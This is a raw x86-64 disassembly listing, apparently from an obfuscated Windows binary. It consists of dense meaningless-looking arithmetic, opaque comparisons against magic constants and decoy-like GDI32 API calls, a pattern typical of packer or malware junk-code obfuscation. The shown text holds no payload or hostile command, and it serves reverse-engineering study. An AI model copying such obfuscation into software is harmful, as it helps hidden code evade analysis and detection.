mov word [rsp + 0x9b0], ax
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4c98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa08], ax
movsx eax, byte [str.Eo_Bl__e]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b28]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b08], rax
mov rax, qword [0x140169c48]
mov rcx, qword [rsp + 0x4bc0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4bf0]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
movzx eax, byte [rsp + 0x126]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0x930]
or eax, ecx
mov word [0x140168a7c], ax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b50]
movzx ecx, al
mov rax, qword [rsp + 0x4b08]
shl rax, cl
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2868]
add eax, 0xf7
mov dword [rsp + 0x2868], eax
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2830]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b28]
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [0x140169c40]
mov rcx, qword [rsp + 0x4bc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12b], al
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x129]
add eax, ecx
mov byte [rsp + 0x126], al
movsx eax, word [0x140169c50]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov rcx, qword [0x140169c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x126], al
movzx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x2830]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x27ec], eax
jmp 0x140019790
lea rax, [rsp + 0x4c98]
mov qword [rsp + 0x4d08], rax
cmp dword [rsp + 0x2820], 0xae20
jb 0x14001a1e3
mov rax, qword [rsp + 0x4ce0]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2888], eax
movsx eax, word [rsp + 0xabc]
mov rcx, qword [0x140169c60]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x127]
shl eax, cl
mov byte [rsp + 0x126], al
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x12a]
or eax, ecx
mov rcx, qword [0x140169c68]
mov byte [rcx], al
movsx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4c10]
mov word [rcx], ax
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4cf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ad8]
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [0x140168a78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x128]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12c], al
mov eax, dword [rsp + 0x2820]
sub eax, 0x5a
mov dword [rsp + 0x2820], eax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [0x140169c50], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x125]
shl eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4c58]
mov qword [rsp + 0x4d10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d10]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov rcx, qword [rsp + 0x4b28]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bc0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
sub eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab8], ax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140169c68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov rcx, qword [rsp + 0x4c80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4ba0], rax
mov rax, qword [rsp + 0x4d08]
mov rcx, qword [0x140169c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x27c0]
shr eax, cl
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
movzx eax, word [rsp + 0x930]
movzx ecx, word [rsp + 0x9b0]
xor eax, ecx
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c00]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x125], al
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4cf0]
mov word [rcx], ax
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140169c60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x126], al
mov eax, dword [rsp + 0x27ec]
mov ecx, dword [rsp + 0x28bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2830], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4ce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b50], rax
mov rax, qword [rsp + 0x4d08]
mov rcx, qword [0x140169c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
jmp 0x140019d11
cmp dword [rsp + 0x2878], 0x7ab
jbe 0x14001a3f2
mov eax, dword [rsp + 0x2878]
sub eax, 0x8d
mov dword [rsp + 0x2878], eax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [0x140169c60]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
mov rax, qword [0x140169c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140169c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cc0]
mov qword [rsp + 0x4d18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d18]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4bc0]
shr rax, cl
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x126], al
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xab8]
and eax, ecx
mov rcx, qword [0x140169c60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab0], ax
jmp 0x14001a1e3
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
mov qword [rsp + 0x4d20], rax
movabs rax, 0xdd887425722f2ad2
cmp qword [rsp + 0x4d20], rax
je 0x14001a41b
jmp 0x14001a495
lea r9, [rsp + 0x1d810]
mov r8d, 0x7f
mov edx, 0x87
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_SetViewportOrgEx]
mov dword [rsp + 0x27d4], eax
movsx eax, word [rsp + 0xab8]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa08], ax
mov rax, qword [rsp + 0x4d08]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4b38]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x4bc0]
mov rax, qword [rsp + 0x4cf0]
movzx ecx, word [rax]
call fcn.140147d00
nop
jmp 0x140147076
lea rax, [rsp + 0x12b]
mov qword [rsp + 0x4d28], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x28c0], eax
cmp dword [rsp + 0x28c0], 0xdaa6c51
je 0x14001a5fd
cmp dword [rsp + 0x28c0], 0x5ccb22fd
je 0x14001a4d9
jmp 0x14001a66d
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2888]
or edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14001a549
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
mov rcx, qword [0x140169c40]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xabc], ax
mov rcx, qword [rsp + 0x4d30]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x2798], eax
mov eax, dword [rsp + 0x2888]
mov dword [rsp + 0x28c4], eax
cmp dword [rsp + 0x28c4], 0xca6d7ceb
je 0x14001a57b
jmp 0x14001a5d9
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4cf0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4b50], rax
mov rax, qword [0x140169c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
jmp 0x14001a5fb
lea r8, [rsp + 0x1e500]
mov edx, 0x6a
mov rcx, qword [rsp + 0x4d38]
call qword [sym.imp.GDI32.dll_GetEnhMetaFilePaletteEntries]
mov dword [rsp + 0x28c8], eax
jmp 0x14001a66d
mov rax, qword [rsp + 0x4d08]
mov rcx, qword [0x140169c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b70]
mov rcx, qword [rsp + 0x4ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b70]
mov dword [rcx], eax
lea r8, [rsp + 0x1e5f0]
mov edx, 0xdc
mov rcx, qword [rsp + 0x4ca0]
call qword [sym.imp.GDI32.dll_GetOutlineTextMetricsW]
mov dword [rsp + 0x28c8], eax
movzx ecx, byte [rsp + 0x12c]
call fcn.140147df0
nop
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9b0], ax
movsx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140169c60]
mov word [rcx], ax
movsx eax, byte [rsp + 0x125]
movsx ecx, byte [rsp + 0x12b]
sar eax, cl
mov rcx, qword [rsp + 0x4c00]
mov byte [rcx], al
mov rax, qword [0x140169c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d08]
mov rcx, qword [rsp + 0x4c98]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov eax, dword [rsp + 0x28bc]
movzx ecx, al
mov eax, dword [rsp + 0x27ec]
shl eax, cl
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2888]
mov ecx, dword [rsp + 0x28c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4b08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4c80]
mov byte [rcx], al
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x4b88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [0x140169c40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xac0], ax
mov rax, qword [rsp + 0x4b80]
movsx eax, byte [rax]
mov rcx, qword [0x140169c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x4c98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [rsp + 0x4ba0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b50], rax
mov eax, dword [rsp + 0x27c0]
movzx ecx, al
mov eax, dword [rsp + 0x27ac]
shl eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xabc], ax
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x125]
xor eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0x4bd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9b0]
or eax, ecx
mov word [0x140168a7c], ax
movzx eax, byte [rsp + 0x129]
movzx ecx, byte [rsp + 0x128]
and eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov word [rcx], ax
mov eax, dword [rsp + 0x2898]
add eax, 0x9e
mov dword [rsp + 0x2898], eax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
cmp dword [rsp + 0x2898], 0x64de
jb 0x14001a66d
lea rax, [0x140169c40]
mov qword [rsp + 0x4d40], rax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xa08]
add ecx, edx
cmp eax, ecx
jl 0x140147007
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cf0]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x930]
mov dword [rsp + 0x28cc], ecx
mov rdx, qword [rsp + 0x4ac8]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x28cc]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140146dd7
mov rax, qword [rsp + 0x4ce0]
mov rax, qword [rax]
mov qword [rsp + 0x4d48], rax
movabs rax, 0x326a6b78aa5a281c
cmp qword [rsp + 0x4d48], rax
je 0x14001aab2
movabs rax, 0x51123ff12601e9f9
cmp qword [rsp + 0x4d48], rax
je 0x14001aa61
jmp 0x14001aade
mov rax, qword [rsp + 0x4c90]
mov rcx, qword [rsp + 0x4b50]
mov rax, qword [rax]
or rax, rcx
mov qword [0x140168a88], rax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x4d50], rax
jmp 0x14001aade
mov rax, qword [rsp + 0x4b28]
mov r9d, dword [rax]
movzx r8d, word [rsp + 0x930]
movzx edx, word [0x140169c50]
mov rax, qword [rsp + 0x4ca8]
movzx ecx, word [rax]
call fcn.140148540
nop
cmp dword [rsp + 0x27d8], 0xc0c9
jb 0x14001afe3
movsx eax, word [rsp + 0xab4]
movsx ecx, word [rsp + 0xab8]
sar eax, cl
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c98]
mov rcx, qword [rsp + 0x4bc0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ba0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4bf0]
mov ecx, dword [rsp + 0x2830]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rax, qword [0x140169c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140169c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4c68]
mov byte [rcx], al
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x27ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ce0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4c98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x27c0], eax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4b88]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xab4], ax
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4ca8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x140169c50], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
and eax, ecx
mov byte [rsp + 0x125], al
mov eax, dword [rsp + 0x27d8]
sub eax, 0x44
mov dword [rsp + 0x27d8], eax
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4bc0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4c58]
mov rcx, qword [rsp + 0x4bf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x28bc], eax
mov rax, qword [rsp + 0x4b28]
mov ecx, dword [rsp + 0x2888]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2798], eax
mov rax, qword [rsp + 0x4c50]
mov rcx, qword [0x140168a88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b08], rax
movsx eax, word [rsp + 0xa08]
movsx ecx, word [rsp + 0xab8]
sub eax, ecx
mov word [rsp + 0xab4], ax
mov rax, qword [rsp + 0x4d28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12b]
add eax, ecx
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xac0]
add eax, ecx
mov word [0x140169c50], ax
mov rax, qword [rsp + 0x4c70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
xor eax, ecx
mov rcx, qword [rsp + 0x4d28]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
shl eax, cl
